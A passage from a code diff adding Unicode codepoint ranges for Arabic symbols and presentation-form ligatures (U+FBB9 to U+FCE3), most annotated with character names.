+ [0xfbb9, 0xfbb9], /* ARABIC SYMBOL THREE DOTS POINTING DOWNWARDS BELOW */
+ [0xfbba, 0xfbba], /* ARABIC SYMBOL FOUR DOTS ABOVE */
+ [0xfbbb, 0xfbbb], /* ARABIC SYMBOL FOUR DOTS BELOW */
+ [0xfbbc, 0xfbbc], /* ARABIC SYMBOL DOUBLE VERTICAL BAR BELOW */
+ [0xfbbd, 0xfbbd], /* ARABIC SYMBOL TWO DOTS VERTICALLY ABOVE */
+ [0xfbbe, 0xfbbe], /* ARABIC SYMBOL TWO DOTS VERTICALLY BELOW */
+ [0xfbbf, 0xfbbf], /* ARABIC SYMBOL RING */
+ [0xfbc0, 0xfbc0], /* ARABIC SYMBOL SMALL TAH ABOVE */
+ [0xfbc1, 0xfbc1], /* ARABIC SYMBOL SMALL TAH BELOW */
+ [0xfbc2, 0xfbc2],
+ [0xfbc3, 0xfbc3],
+ [0xfbc4, 0xfbc4],
+ [0xfbc5, 0xfbc5],
+ [0xfbc6, 0xfbc6],
+ [0xfbc7, 0xfbc7],
+ [0xfbc8, 0xfbc8],
+ [0xfbc9, 0xfbc9],
+ [0xfbca, 0xfbca],
+ [0xfbcb, 0xfbcb],
+ [0xfbcc, 0xfbcc],
+ [0xfbcd, 0xfbcd],
+ [0xfbce, 0xfbce],
+ [0xfbcf, 0xfbcf],
+ [0xfbd0, 0xfbd0],
+ [0xfbd1, 0xfbd1],
+ [0xfbd2, 0xfbd2],
+ [0xfbd3, 0xfbd3], /* ARABIC LETTER NG ISOLATED FORM */
+ [0xfbd4, 0xfbd4], /* ARABIC LETTER NG FINAL FORM */
+ [0xfbd5, 0xfbd5], /* ARABIC LETTER NG INITIAL FORM */
+ [0xfbd6, 0xfbd6], /* ARABIC LETTER NG MEDIAL FORM */
+ [0xfbd7, 0xfbd7], /* ARABIC LETTER U ISOLATED FORM */
+ [0xfbd8, 0xfbd8], /* ARABIC LETTER U FINAL FORM */
+ [0xfbd9, 0xfbd9], /* ARABIC LETTER OE ISOLATED FORM */
+ [0xfbda, 0xfbda], /* ARABIC LETTER OE FINAL FORM */
+ [0xfbdb, 0xfbdb], /* ARABIC LETTER YU ISOLATED FORM */
+ [0xfbdc, 0xfbdc], /* ARABIC LETTER YU FINAL FORM */
+ [0xfbdd, 0xfbdd], /* ARABIC LETTER U WITH HAMZA ABOVE ISOLATED FORM */
+ [0xfbde, 0xfbde], /* ARABIC LETTER VE ISOLATED FORM */
+ [0xfbdf, 0xfbdf], /* ARABIC LETTER VE FINAL FORM */
+ [0xfbe0, 0xfbe0], /* ARABIC LETTER KIRGHIZ OE ISOLATED FORM */
+ [0xfbe1, 0xfbe1], /* ARABIC LETTER KIRGHIZ OE FINAL FORM */
+ [0xfbe2, 0xfbe2], /* ARABIC LETTER KIRGHIZ YU ISOLATED FORM */
+ [0xfbe3, 0xfbe3], /* ARABIC LETTER KIRGHIZ YU FINAL FORM */
+ [0xfbe4, 0xfbe4], /* ARABIC LETTER E ISOLATED FORM */
+ [0xfbe5, 0xfbe5], /* ARABIC LETTER E FINAL FORM */
+ [0xfbe6, 0xfbe6], /* ARABIC LETTER E INITIAL FORM */
+ [0xfbe7, 0xfbe7], /* ARABIC LETTER E MEDIAL FORM */
+ [0xfbe8, 0xfbe8], /* ARABIC LETTER UIGHUR KAZAKH KIRGHIZ ALEF MAKSURA INITIAL FORM */
+ [0xfbe9, 0xfbe9], /* ARABIC LETTER UIGHUR KAZAKH KIRGHIZ ALEF MAKSURA MEDIAL FORM */
+ [0xfbea, 0xfbea], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH ALEF ISOLATED FORM */
+ [0xfbeb, 0xfbeb], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH ALEF FINAL FORM */
+ [0xfbec, 0xfbec], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH AE ISOLATED FORM */
+ [0xfbed, 0xfbed], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH AE FINAL FORM */
+ [0xfbee, 0xfbee], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH WAW ISOLATED FORM */
+ [0xfbef, 0xfbef], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH WAW FINAL FORM */
+ [0xfbf0, 0xfbf0], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH U ISOLATED FORM */
+ [0xfbf1, 0xfbf1], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH U FINAL FORM */
+ [0xfbf2, 0xfbf2], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH OE ISOLATED FORM */
+ [0xfbf3, 0xfbf3], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH OE FINAL FORM */
+ [0xfbf4, 0xfbf4], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH YU ISOLATED FORM */
+ [0xfbf5, 0xfbf5], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH YU FINAL FORM */
+ [0xfbf6, 0xfbf6], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH E ISOLATED FORM */
+ [0xfbf7, 0xfbf7], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH E FINAL FORM */
+ [0xfbf8, 0xfbf8], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH E INITIAL FORM */
+ [0xfbf9, 0xfbf9], /* ARABIC LIGATURE UIGHUR KIRGHIZ YEH WITH HAMZA ABOVE WITH ALEF MAKSURA ISOLATED FORM */
+ [0xfbfa, 0xfbfa], /* ARABIC LIGATURE UIGHUR KIRGHIZ YEH WITH HAMZA ABOVE WITH ALEF MAKSURA FINAL FORM */
+ [0xfbfb, 0xfbfb], /* ARABIC LIGATURE UIGHUR KIRGHIZ YEH WITH HAMZA ABOVE WITH ALEF MAKSURA INITIAL FORM */
+ [0xfbfc, 0xfbfc], /* ARABIC LETTER FARSI YEH ISOLATED FORM */
+ [0xfbfd, 0xfbfd], /* ARABIC LETTER FARSI YEH FINAL FORM */
+ [0xfbfe, 0xfbfe], /* ARABIC LETTER FARSI YEH INITIAL FORM */
+ [0xfbff, 0xfbff], /* ARABIC LETTER FARSI YEH MEDIAL FORM */
+ [0xfc00, 0xfc00], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH JEEM ISOLATED FORM */
+ [0xfc01, 0xfc01], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH HAH ISOLATED FORM */
+ [0xfc02, 0xfc02], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH MEEM ISOLATED FORM */
+ [0xfc03, 0xfc03], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH ALEF MAKSURA ISOLATED FORM */
+ [0xfc04, 0xfc04], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH YEH ISOLATED FORM */
+ [0xfc05, 0xfc05], /* ARABIC LIGATURE BEH WITH JEEM ISOLATED FORM */
+ [0xfc06, 0xfc06], /* ARABIC LIGATURE BEH WITH HAH ISOLATED FORM */
+ [0xfc07, 0xfc07], /* ARABIC LIGATURE BEH WITH KHAH ISOLATED FORM */
+ [0xfc08, 0xfc08], /* ARABIC LIGATURE BEH WITH MEEM ISOLATED FORM */
+ [0xfc09, 0xfc09], /* ARABIC LIGATURE BEH WITH ALEF MAKSURA ISOLATED FORM */
+ [0xfc0a, 0xfc0a], /* ARABIC LIGATURE BEH WITH YEH ISOLATED FORM */
+ [0xfc0b, 0xfc0b], /* ARABIC LIGATURE TEH WITH JEEM ISOLATED FORM */
+ [0xfc0c, 0xfc0c], /* ARABIC LIGATURE TEH WITH HAH ISOLATED FORM */
+ [0xfc0d, 0xfc0d], /* ARABIC LIGATURE TEH WITH KHAH ISOLATED FORM */
+ [0xfc0e, 0xfc0e], /* ARABIC LIGATURE TEH WITH MEEM ISOLATED FORM */
+ [0xfc0f, 0xfc0f], /* ARABIC LIGATURE TEH WITH ALEF MAKSURA ISOLATED FORM */
+ [0xfc10, 0xfc10], /* ARABIC LIGATURE TEH WITH YEH ISOLATED FORM */
+ [0xfc11, 0xfc11], /* ARABIC LIGATURE THEH WITH JEEM ISOLATED FORM */
+ [0xfc12, 0xfc12], /* ARABIC LIGATURE THEH WITH MEEM ISOLATED FORM */
+ [0xfc13, 0xfc13], /* ARABIC LIGATURE THEH WITH ALEF MAKSURA ISOLATED FORM */
+ [0xfc14, 0xfc14], /* ARABIC LIGATURE THEH WITH YEH ISOLATED FORM */
+ [0xfc15, 0xfc15], /* ARABIC LIGATURE JEEM WITH HAH ISOLATED FORM */
+ [0xfc16, 0xfc16], /* ARABIC LIGATURE JEEM WITH MEEM ISOLATED FORM */
+ [0xfc17, 0xfc17], /* ARABIC LIGATURE HAH WITH JEEM ISOLATED FORM */
+ [0xfc18, 0xfc18], /* ARABIC LIGATURE HAH WITH MEEM ISOLATED FORM */
+ [0xfc19, 0xfc19], /* ARABIC LIGATURE KHAH WITH JEEM ISOLATED FORM */
+ [0xfc1a, 0xfc1a], /* ARABIC LIGATURE KHAH WITH HAH ISOLATED FORM */
+ [0xfc1b, 0xfc1b], /* ARABIC LIGATURE KHAH WITH MEEM ISOLATED FORM */
+ [0xfc1c, 0xfc1c], /* ARABIC LIGATURE SEEN WITH JEEM ISOLATED FORM */
+ [0xfc1d, 0xfc1d], /* ARABIC LIGATURE SEEN WITH HAH ISOLATED FORM */
+ [0xfc1e, 0xfc1e], /* ARABIC LIGATURE SEEN WITH KHAH ISOLATED FORM */
+ [0xfc1f, 0xfc1f], /* ARABIC LIGATURE SEEN WITH MEEM ISOLATED FORM */
+ [0xfc20, 0xfc20], /* ARABIC LIGATURE SAD WITH HAH ISOLATED FORM */
+ [0xfc21, 0xfc21], /* ARABIC LIGATURE SAD WITH MEEM ISOLATED FORM */
+ [0xfc22, 0xfc22], /* ARABIC LIGATURE DAD WITH JEEM ISOLATED FORM */
+ [0xfc23, 0xfc23], /* ARABIC LIGATURE DAD WITH HAH ISOLATED FORM */
+ [0xfc24, 0xfc24], /* ARABIC LIGATURE DAD WITH KHAH ISOLATED FORM */
+ [0xfc25, 0xfc25], /* ARABIC LIGATURE DAD WITH MEEM ISOLATED FORM */
+ [0xfc26, 0xfc26], /* ARABIC LIGATURE TAH WITH HAH ISOLATED FORM */
+ [0xfc27, 0xfc27], /* ARABIC LIGATURE TAH WITH MEEM ISOLATED FORM */
+ [0xfc28, 0xfc28], /* ARABIC LIGATURE ZAH WITH MEEM ISOLATED FORM */
+ [0xfc29, 0xfc29], /* ARABIC LIGATURE AIN WITH JEEM ISOLATED FORM */
+ [0xfc2a, 0xfc2a], /* ARABIC LIGATURE AIN WITH MEEM ISOLATED FORM */
+ [0xfc2b, 0xfc2b], /* ARABIC LIGATURE GHAIN WITH JEEM ISOLATED FORM */
+ [0xfc2c, 0xfc2c], /* ARABIC LIGATURE GHAIN WITH MEEM ISOLATED FORM */
+ [0xfc2d, 0xfc2d], /* ARABIC LIGATURE FEH WITH JEEM ISOLATED FORM */
+ [0xfc2e, 0xfc2e], /* ARABIC LIGATURE FEH WITH HAH ISOLATED FORM */
+ [0xfc2f, 0xfc2f], /* ARABIC LIGATURE FEH WITH KHAH ISOLATED FORM */
+ [0xfc30, 0xfc30], /* ARABIC LIGATURE FEH WITH MEEM ISOLATED FORM */
+ [0xfc31, 0xfc31], /* ARABIC LIGATURE FEH WITH ALEF MAKSURA ISOLATED FORM */
+ [0xfc32, 0xfc32], /* ARABIC LIGATURE FEH WITH YEH ISOLATED FORM */
+ [0xfc33, 0xfc33], /* ARABIC LIGATURE QAF WITH HAH ISOLATED FORM */
+ [0xfc34, 0xfc34], /* ARABIC LIGATURE QAF WITH MEEM ISOLATED FORM */
+ [0xfc35, 0xfc35], /* ARABIC LIGATURE QAF WITH ALEF MAKSURA ISOLATED FORM */
+ [0xfc36, 0xfc36], /* ARABIC LIGATURE QAF WITH YEH ISOLATED FORM */
+ [0xfc37, 0xfc37], /* ARABIC LIGATURE KAF WITH ALEF ISOLATED FORM */
+ [0xfc38, 0xfc38], /* ARABIC LIGATURE KAF WITH JEEM ISOLATED FORM */
+ [0xfc39, 0xfc39], /* ARABIC LIGATURE KAF WITH HAH ISOLATED FORM */
+ [0xfc3a, 0xfc3a], /* ARABIC LIGATURE KAF WITH KHAH ISOLATED FORM */
+ [0xfc3b, 0xfc3b], /* ARABIC LIGATURE KAF WITH LAM ISOLATED FORM */
+ [0xfc3c, 0xfc3c], /* ARABIC LIGATURE KAF WITH MEEM ISOLATED FORM */
+ [0xfc3d, 0xfc3d], /* ARABIC LIGATURE KAF WITH ALEF MAKSURA ISOLATED FORM */
+ [0xfc3e, 0xfc3e], /* ARABIC LIGATURE KAF WITH YEH ISOLATED FORM */
+ [0xfc3f, 0xfc3f], /* ARABIC LIGATURE LAM WITH JEEM ISOLATED FORM */
+ [0xfc40, 0xfc40], /* ARABIC LIGATURE LAM WITH HAH ISOLATED FORM */
+ [0xfc41, 0xfc41], /* ARABIC LIGATURE LAM WITH KHAH ISOLATED FORM */
+ [0xfc42, 0xfc42], /* ARABIC LIGATURE LAM WITH MEEM ISOLATED FORM */
+ [0xfc43, 0xfc43], /* ARABIC LIGATURE LAM WITH ALEF MAKSURA ISOLATED FORM */
+ [0xfc44, 0xfc44], /* ARABIC LIGATURE LAM WITH YEH ISOLATED FORM */
+ [0xfc45, 0xfc45], /* ARABIC LIGATURE MEEM WITH JEEM ISOLATED FORM */
+ [0xfc46, 0xfc46], /* ARABIC LIGATURE MEEM WITH HAH ISOLATED FORM */
+ [0xfc47, 0xfc47], /* ARABIC LIGATURE MEEM WITH KHAH ISOLATED FORM */
+ [0xfc48, 0xfc48], /* ARABIC LIGATURE MEEM WITH MEEM ISOLATED FORM */
+ [0xfc49, 0xfc49], /* ARABIC LIGATURE MEEM WITH ALEF MAKSURA ISOLATED FORM */
+ [0xfc4a, 0xfc4a], /* ARABIC LIGATURE MEEM WITH YEH ISOLATED FORM */
+ [0xfc4b, 0xfc4b], /* ARABIC LIGATURE NOON WITH JEEM ISOLATED FORM */
+ [0xfc4c, 0xfc4c], /* ARABIC LIGATURE NOON WITH HAH ISOLATED FORM */
+ [0xfc4d, 0xfc4d], /* ARABIC LIGATURE NOON WITH KHAH ISOLATED FORM */
+ [0xfc4e, 0xfc4e], /* ARABIC LIGATURE NOON WITH MEEM ISOLATED FORM */
+ [0xfc4f, 0xfc4f], /* ARABIC LIGATURE NOON WITH ALEF MAKSURA ISOLATED FORM */
+ [0xfc50, 0xfc50], /* ARABIC LIGATURE NOON WITH YEH ISOLATED FORM */
+ [0xfc51, 0xfc51], /* ARABIC LIGATURE HEH WITH JEEM ISOLATED FORM */
+ [0xfc52, 0xfc52], /* ARABIC LIGATURE HEH WITH MEEM ISOLATED FORM */
+ [0xfc53, 0xfc53], /* ARABIC LIGATURE HEH WITH ALEF MAKSURA ISOLATED FORM */
+ [0xfc54, 0xfc54], /* ARABIC LIGATURE HEH WITH YEH ISOLATED FORM */
+ [0xfc55, 0xfc55], /* ARABIC LIGATURE YEH WITH JEEM ISOLATED FORM */
+ [0xfc56, 0xfc56], /* ARABIC LIGATURE YEH WITH HAH ISOLATED FORM */
+ [0xfc57, 0xfc57], /* ARABIC LIGATURE YEH WITH KHAH ISOLATED FORM */
+ [0xfc58, 0xfc58], /* ARABIC LIGATURE YEH WITH MEEM ISOLATED FORM */
+ [0xfc59, 0xfc59], /* ARABIC LIGATURE YEH WITH ALEF MAKSURA ISOLATED FORM */
+ [0xfc5a, 0xfc5a], /* ARABIC LIGATURE YEH WITH YEH ISOLATED FORM */
+ [0xfc5b, 0xfc5b], /* ARABIC LIGATURE THAL WITH SUPERSCRIPT ALEF ISOLATED FORM */
+ [0xfc5c, 0xfc5c], /* ARABIC LIGATURE REH WITH SUPERSCRIPT ALEF ISOLATED FORM */
+ [0xfc5d, 0xfc5d], /* ARABIC LIGATURE ALEF MAKSURA WITH SUPERSCRIPT ALEF ISOLATED FORM */
+ [0xfc5e, 0xfc5e], /* ARABIC LIGATURE SHADDA WITH DAMMATAN ISOLATED FORM */
+ [0xfc5f, 0xfc5f], /* ARABIC LIGATURE SHADDA WITH KASRATAN ISOLATED FORM */
+ [0xfc60, 0xfc60], /* ARABIC LIGATURE SHADDA WITH FATHA ISOLATED FORM */
+ [0xfc61, 0xfc61], /* ARABIC LIGATURE SHADDA WITH DAMMA ISOLATED FORM */
+ [0xfc62, 0xfc62], /* ARABIC LIGATURE SHADDA WITH KASRA ISOLATED FORM */
+ [0xfc63, 0xfc63], /* ARABIC LIGATURE SHADDA WITH SUPERSCRIPT ALEF ISOLATED FORM */
+ [0xfc64, 0xfc64], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH REH FINAL FORM */
+ [0xfc65, 0xfc65], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH ZAIN FINAL FORM */
+ [0xfc66, 0xfc66], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH MEEM FINAL FORM */
+ [0xfc67, 0xfc67], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH NOON FINAL FORM */
+ [0xfc68, 0xfc68], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH ALEF MAKSURA FINAL FORM */
+ [0xfc69, 0xfc69], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH YEH FINAL FORM */
+ [0xfc6a, 0xfc6a], /* ARABIC LIGATURE BEH WITH REH FINAL FORM */
+ [0xfc6b, 0xfc6b], /* ARABIC LIGATURE BEH WITH ZAIN FINAL FORM */
+ [0xfc6c, 0xfc6c], /* ARABIC LIGATURE BEH WITH MEEM FINAL FORM */
+ [0xfc6d, 0xfc6d], /* ARABIC LIGATURE BEH WITH NOON FINAL FORM */
+ [0xfc6e, 0xfc6e], /* ARABIC LIGATURE BEH WITH ALEF MAKSURA FINAL FORM */
+ [0xfc6f, 0xfc6f], /* ARABIC LIGATURE BEH WITH YEH FINAL FORM */
+ [0xfc70, 0xfc70], /* ARABIC LIGATURE TEH WITH REH FINAL FORM */
+ [0xfc71, 0xfc71], /* ARABIC LIGATURE TEH WITH ZAIN FINAL FORM */
+ [0xfc72, 0xfc72], /* ARABIC LIGATURE TEH WITH MEEM FINAL FORM */
+ [0xfc73, 0xfc73], /* ARABIC LIGATURE TEH WITH NOON FINAL FORM */
+ [0xfc74, 0xfc74], /* ARABIC LIGATURE TEH WITH ALEF MAKSURA FINAL FORM */
+ [0xfc75, 0xfc75], /* ARABIC LIGATURE TEH WITH YEH FINAL FORM */
+ [0xfc76, 0xfc76], /* ARABIC LIGATURE THEH WITH REH FINAL FORM */
+ [0xfc77, 0xfc77], /* ARABIC LIGATURE THEH WITH ZAIN FINAL FORM */
+ [0xfc78, 0xfc78], /* ARABIC LIGATURE THEH WITH MEEM FINAL FORM */
+ [0xfc79, 0xfc79], /* ARABIC LIGATURE THEH WITH NOON FINAL FORM */
+ [0xfc7a, 0xfc7a], /* ARABIC LIGATURE THEH WITH ALEF MAKSURA FINAL FORM */
+ [0xfc7b, 0xfc7b], /* ARABIC LIGATURE THEH WITH YEH FINAL FORM */
+ [0xfc7c, 0xfc7c], /* ARABIC LIGATURE FEH WITH ALEF MAKSURA FINAL FORM */
+ [0xfc7d, 0xfc7d], /* ARABIC LIGATURE FEH WITH YEH FINAL FORM */
+ [0xfc7e, 0xfc7e], /* ARABIC LIGATURE QAF WITH ALEF MAKSURA FINAL FORM */
+ [0xfc7f, 0xfc7f], /* ARABIC LIGATURE QAF WITH YEH FINAL FORM */
+ [0xfc80, 0xfc80], /* ARABIC LIGATURE KAF WITH ALEF FINAL FORM */
+ [0xfc81, 0xfc81], /* ARABIC LIGATURE KAF WITH LAM FINAL FORM */
+ [0xfc82, 0xfc82], /* ARABIC LIGATURE KAF WITH MEEM FINAL FORM */
+ [0xfc83, 0xfc83], /* ARABIC LIGATURE KAF WITH ALEF MAKSURA FINAL FORM */
+ [0xfc84, 0xfc84], /* ARABIC LIGATURE KAF WITH YEH FINAL FORM */
+ [0xfc85, 0xfc85], /* ARABIC LIGATURE LAM WITH MEEM FINAL FORM */
+ [0xfc86, 0xfc86], /* ARABIC LIGATURE LAM WITH ALEF MAKSURA FINAL FORM */
+ [0xfc87, 0xfc87], /* ARABIC LIGATURE LAM WITH YEH FINAL FORM */
+ [0xfc88, 0xfc88], /* ARABIC LIGATURE MEEM WITH ALEF FINAL FORM */
+ [0xfc89, 0xfc89], /* ARABIC LIGATURE MEEM WITH MEEM FINAL FORM */
+ [0xfc8a, 0xfc8a], /* ARABIC LIGATURE NOON WITH REH FINAL FORM */
+ [0xfc8b, 0xfc8b], /* ARABIC LIGATURE NOON WITH ZAIN FINAL FORM */
+ [0xfc8c, 0xfc8c], /* ARABIC LIGATURE NOON WITH MEEM FINAL FORM */
+ [0xfc8d, 0xfc8d], /* ARABIC LIGATURE NOON WITH NOON FINAL FORM */
+ [0xfc8e, 0xfc8e], /* ARABIC LIGATURE NOON WITH ALEF MAKSURA FINAL FORM */
+ [0xfc8f, 0xfc8f], /* ARABIC LIGATURE NOON WITH YEH FINAL FORM */
+ [0xfc90, 0xfc90], /* ARABIC LIGATURE ALEF MAKSURA WITH SUPERSCRIPT ALEF FINAL FORM */
+ [0xfc91, 0xfc91], /* ARABIC LIGATURE YEH WITH REH FINAL FORM */
+ [0xfc92, 0xfc92], /* ARABIC LIGATURE YEH WITH ZAIN FINAL FORM */
+ [0xfc93, 0xfc93], /* ARABIC LIGATURE YEH WITH MEEM FINAL FORM */
+ [0xfc94, 0xfc94], /* ARABIC LIGATURE YEH WITH NOON FINAL FORM */
+ [0xfc95, 0xfc95], /* ARABIC LIGATURE YEH WITH ALEF MAKSURA FINAL FORM */
+ [0xfc96, 0xfc96], /* ARABIC LIGATURE YEH WITH YEH FINAL FORM */
+ [0xfc97, 0xfc97], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH JEEM INITIAL FORM */
+ [0xfc98, 0xfc98], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH HAH INITIAL FORM */
+ [0xfc99, 0xfc99], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH KHAH INITIAL FORM */
+ [0xfc9a, 0xfc9a], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH MEEM INITIAL FORM */
+ [0xfc9b, 0xfc9b], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH HEH INITIAL FORM */
+ [0xfc9c, 0xfc9c], /* ARABIC LIGATURE BEH WITH JEEM INITIAL FORM */
+ [0xfc9d, 0xfc9d], /* ARABIC LIGATURE BEH WITH HAH INITIAL FORM */
+ [0xfc9e, 0xfc9e], /* ARABIC LIGATURE BEH WITH KHAH INITIAL FORM */
+ [0xfc9f, 0xfc9f], /* ARABIC LIGATURE BEH WITH MEEM INITIAL FORM */
+ [0xfca0, 0xfca0], /* ARABIC LIGATURE BEH WITH HEH INITIAL FORM */
+ [0xfca1, 0xfca1], /* ARABIC LIGATURE TEH WITH JEEM INITIAL FORM */
+ [0xfca2, 0xfca2], /* ARABIC LIGATURE TEH WITH HAH INITIAL FORM */
+ [0xfca3, 0xfca3], /* ARABIC LIGATURE TEH WITH KHAH INITIAL FORM */
+ [0xfca4, 0xfca4], /* ARABIC LIGATURE TEH WITH MEEM INITIAL FORM */
+ [0xfca5, 0xfca5], /* ARABIC LIGATURE TEH WITH HEH INITIAL FORM */
+ [0xfca6, 0xfca6], /* ARABIC LIGATURE THEH WITH MEEM INITIAL FORM */
+ [0xfca7, 0xfca7], /* ARABIC LIGATURE JEEM WITH HAH INITIAL FORM */
+ [0xfca8, 0xfca8], /* ARABIC LIGATURE JEEM WITH MEEM INITIAL FORM */
+ [0xfca9, 0xfca9], /* ARABIC LIGATURE HAH WITH JEEM INITIAL FORM */
+ [0xfcaa, 0xfcaa], /* ARABIC LIGATURE HAH WITH MEEM INITIAL FORM */
+ [0xfcab, 0xfcab], /* ARABIC LIGATURE KHAH WITH JEEM INITIAL FORM */
+ [0xfcac, 0xfcac], /* ARABIC LIGATURE KHAH WITH MEEM INITIAL FORM */
+ [0xfcad, 0xfcad], /* ARABIC LIGATURE SEEN WITH JEEM INITIAL FORM */
+ [0xfcae, 0xfcae], /* ARABIC LIGATURE SEEN WITH HAH INITIAL FORM */
+ [0xfcaf, 0xfcaf], /* ARABIC LIGATURE SEEN WITH KHAH INITIAL FORM */
+ [0xfcb0, 0xfcb0], /* ARABIC LIGATURE SEEN WITH MEEM INITIAL FORM */
+ [0xfcb1, 0xfcb1], /* ARABIC LIGATURE SAD WITH HAH INITIAL FORM */
+ [0xfcb2, 0xfcb2], /* ARABIC LIGATURE SAD WITH KHAH INITIAL FORM */
+ [0xfcb3, 0xfcb3], /* ARABIC LIGATURE SAD WITH MEEM INITIAL FORM */
+ [0xfcb4, 0xfcb4], /* ARABIC LIGATURE DAD WITH JEEM INITIAL FORM */
+ [0xfcb5, 0xfcb5], /* ARABIC LIGATURE DAD WITH HAH INITIAL FORM */
+ [0xfcb6, 0xfcb6], /* ARABIC LIGATURE DAD WITH KHAH INITIAL FORM */
+ [0xfcb7, 0xfcb7], /* ARABIC LIGATURE DAD WITH MEEM INITIAL FORM */
+ [0xfcb8, 0xfcb8], /* ARABIC LIGATURE TAH WITH HAH INITIAL FORM */
+ [0xfcb9, 0xfcb9], /* ARABIC LIGATURE ZAH WITH MEEM INITIAL FORM */
+ [0xfcba, 0xfcba], /* ARABIC LIGATURE AIN WITH JEEM INITIAL FORM */
+ [0xfcbb, 0xfcbb], /* ARABIC LIGATURE AIN WITH MEEM INITIAL FORM */
+ [0xfcbc, 0xfcbc], /* ARABIC LIGATURE GHAIN WITH JEEM INITIAL FORM */
+ [0xfcbd, 0xfcbd], /* ARABIC LIGATURE GHAIN WITH MEEM INITIAL FORM */
+ [0xfcbe, 0xfcbe], /* ARABIC LIGATURE FEH WITH JEEM INITIAL FORM */
+ [0xfcbf, 0xfcbf], /* ARABIC LIGATURE FEH WITH HAH INITIAL FORM */
+ [0xfcc0, 0xfcc0], /* ARABIC LIGATURE FEH WITH KHAH INITIAL FORM */
+ [0xfcc1, 0xfcc1], /* ARABIC LIGATURE FEH WITH MEEM INITIAL FORM */
+ [0xfcc2, 0xfcc2], /* ARABIC LIGATURE QAF WITH HAH INITIAL FORM */
+ [0xfcc3, 0xfcc3], /* ARABIC LIGATURE QAF WITH MEEM INITIAL FORM */
+ [0xfcc4, 0xfcc4], /* ARABIC LIGATURE KAF WITH JEEM INITIAL FORM */
+ [0xfcc5, 0xfcc5], /* ARABIC LIGATURE KAF WITH HAH INITIAL FORM */
+ [0xfcc6, 0xfcc6], /* ARABIC LIGATURE KAF WITH KHAH INITIAL FORM */
+ [0xfcc7, 0xfcc7], /* ARABIC LIGATURE KAF WITH LAM INITIAL FORM */
+ [0xfcc8, 0xfcc8], /* ARABIC LIGATURE KAF WITH MEEM INITIAL FORM */
+ [0xfcc9, 0xfcc9], /* ARABIC LIGATURE LAM WITH JEEM INITIAL FORM */
+ [0xfcca, 0xfcca], /* ARABIC LIGATURE LAM WITH HAH INITIAL FORM */
+ [0xfccb, 0xfccb], /* ARABIC LIGATURE LAM WITH KHAH INITIAL FORM */
+ [0xfccc, 0xfccc], /* ARABIC LIGATURE LAM WITH MEEM INITIAL FORM */
+ [0xfccd, 0xfccd], /* ARABIC LIGATURE LAM WITH HEH INITIAL FORM */
+ [0xfcce, 0xfcce], /* ARABIC LIGATURE MEEM WITH JEEM INITIAL FORM */
+ [0xfccf, 0xfccf], /* ARABIC LIGATURE MEEM WITH HAH INITIAL FORM */
+ [0xfcd0, 0xfcd0], /* ARABIC LIGATURE MEEM WITH KHAH INITIAL FORM */
+ [0xfcd1, 0xfcd1], /* ARABIC LIGATURE MEEM WITH MEEM INITIAL FORM */
+ [0xfcd2, 0xfcd2], /* ARABIC LIGATURE NOON WITH JEEM INITIAL FORM */
+ [0xfcd3, 0xfcd3], /* ARABIC LIGATURE NOON WITH HAH INITIAL FORM */
+ [0xfcd4, 0xfcd4], /* ARABIC LIGATURE NOON WITH KHAH INITIAL FORM */
+ [0xfcd5, 0xfcd5], /* ARABIC LIGATURE NOON WITH MEEM INITIAL FORM */
+ [0xfcd6, 0xfcd6], /* ARABIC LIGATURE NOON WITH HEH INITIAL FORM */
+ [0xfcd7, 0xfcd7], /* ARABIC LIGATURE HEH WITH JEEM INITIAL FORM */
+ [0xfcd8, 0xfcd8], /* ARABIC LIGATURE HEH WITH MEEM INITIAL FORM */
+ [0xfcd9, 0xfcd9], /* ARABIC LIGATURE HEH WITH SUPERSCRIPT ALEF INITIAL FORM */
+ [0xfcda, 0xfcda], /* ARABIC LIGATURE YEH WITH JEEM INITIAL FORM */
+ [0xfcdb, 0xfcdb], /* ARABIC LIGATURE YEH WITH HAH INITIAL FORM */
+ [0xfcdc, 0xfcdc], /* ARABIC LIGATURE YEH WITH KHAH INITIAL FORM */
+ [0xfcdd, 0xfcdd], /* ARABIC LIGATURE YEH WITH MEEM INITIAL FORM */
+ [0xfcde, 0xfcde], /* ARABIC LIGATURE YEH WITH HEH INITIAL FORM */
+ [0xfcdf, 0xfcdf], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH MEEM MEDIAL FORM */
+ [0xfce0, 0xfce0], /* ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH HEH MEDIAL FORM */
+ [0xfce1, 0xfce1], /* ARABIC LIGATURE BEH WITH MEEM MEDIAL FORM */
+ [0xfce2, 0xfce2], /* ARABIC LIGATURE BEH WITH HEH MEDIAL FORM */
+ [0xfce3, 0xfce3], /* ARABIC LIGATURE TEH WITH MEEM MEDIAL FORM */
